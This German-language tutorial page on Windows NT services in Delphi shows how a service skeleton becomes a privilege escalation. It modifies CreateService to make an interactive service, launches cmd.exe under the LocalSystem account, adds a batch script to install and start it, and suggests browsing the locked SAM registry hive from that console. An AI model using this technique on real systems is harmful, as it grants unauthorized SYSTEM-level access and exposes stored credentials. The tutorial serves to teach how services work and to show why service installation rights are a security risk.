Home » Tutorials » Systemnahe Programmierung » NT-Services

NT-Services

Eine Anwendung des Gelernten

Das eben erworbene Wissen lässt sich auf einfache Weise in die Ausnutzung einer Sicherheitslücke umwandeln. Unter der Annahme, jeder beliebige Benutzer könnte z.B. einen Service installieren, kann man das kommende Beispiel sicher als hohes Sicherheitsrisiko verbuchen!
Man nehme das Gerüst von oben und gestalte es ein wenig um. Schon hat man ein Programm, welches in der Lage ist z.B. eine Instanz des Kommandozeilenprozessors von NT – CMD – unter dem Sicherheitskontext des LocalSystem Kontos zu starten.
Die einzige Sache, die wir hier erstmal ändern wollen, ist die SERVICE_MAIN Prozedur und die Startparameter des Services. Da wie oben erwähnt nur interaktive Services mit dem Benutzerdesktop interagieren können, muss man den Service als interaktiven Service starten.
Wir ändern also:

hService:=CreateService(hSCM,
              PChar(ServiceName),
              PChar(DisplayName),
              SERVICE_START OR SERVICE_QUERY_STATUS OR _DELETE,
              SERVICE_WIN32_OWN_PROCESS,
              StartupMode,
              SERVICE_ERROR_NORMAL,
              @modname[0],
              NIL, NIL, NIL, NIL, NIL);

zu:

hService:=CreateService(hSCM,
              PChar(ServiceName),
              PChar(DisplayName),
              SERVICE_START OR SERVICE_QUERY_STATUS OR _DELETE,
              SERVICE_WIN32_OWN_PROCESS or SERVICE_INTERACTIVE_PROCESS,
              SERVICE_DEMAND_START,
              SERVICE_ERROR_NORMAL,
              @modname[0],
              NIL, NIL, NIL, NIL, NIL);

Dadurch wird der Service als manuell startender Service festgelegt und ist interaktiv. Außerdem fällt das Parsen der Parameter ob manuell oder automatisch weg.
Folgende Routine dient als ShellExecute()-Ersatz:

ZeroMemory(@si, SizeOf(si));
    si.cb:=SizeOf(si);
    lstrcpy(szCmd, 'cmd.exe /X /K cd & mode con cols=80 lines=43 '+
    '& cls & title CMD.EXE running on "LocalSystem" account');
    if CreateProcess(NIL, szCmd, NIL, NIL, False, CREATE_NEW_CONSOLE, NIL,
    NIL, si, pi) then begin
        CloseHandle(pi.hThread);
        CloseHandle(pi.hProcess);
    end;

Genau analysiert (obwohl das eher nicht so relevant ist) startet die Routine die CMD.EXE, wechselt ins Hauptverzeichnis des Laufwerks, schaltet die Konsole auf 80×43 Zeichen um (statt normal 80×25) und setzt den Titel des Konsolenfensters auf CMD.EXE running on „LocalSystem“ account.
Die verwendeten Variablen sind wie folgt definiert:

var
    si:TStartupInfo;
    pi:TProcessInformation;
    szCmd: ARRAY[0..MAX_PATH*2] of char;

Mit folgendem kleinen CMD-Skript lässt sich das Ganze dann so ausführen, dass man in den Genuss einer Konsole kommt, die im Sicherheitskontext des LocalSystem Kontos läuft und somit (nahezu) unbeschränkten Zugriff auf das System genießt.

ACHTUNG: Das LocalSystem Konto hat kein eigenes Profil!

@echo off
REM Install service
CMD_svc /i
REM Start service
NET START CMD_SERVICE
REM Uninstall service
CMD_svc /u
pause

Download des interaktiven Beispielservices (ca. 15 KB)
PS: Zum Ausprobieren empfehle ich, aus der (LocalSystem-)Konsole heraus REGEDT32 und/oder REGEDIT zu starten. Man kann sich so HKEY_LOCAL_MACHINESAMSAM anschauen, welcher sonst gesperrt ist 😉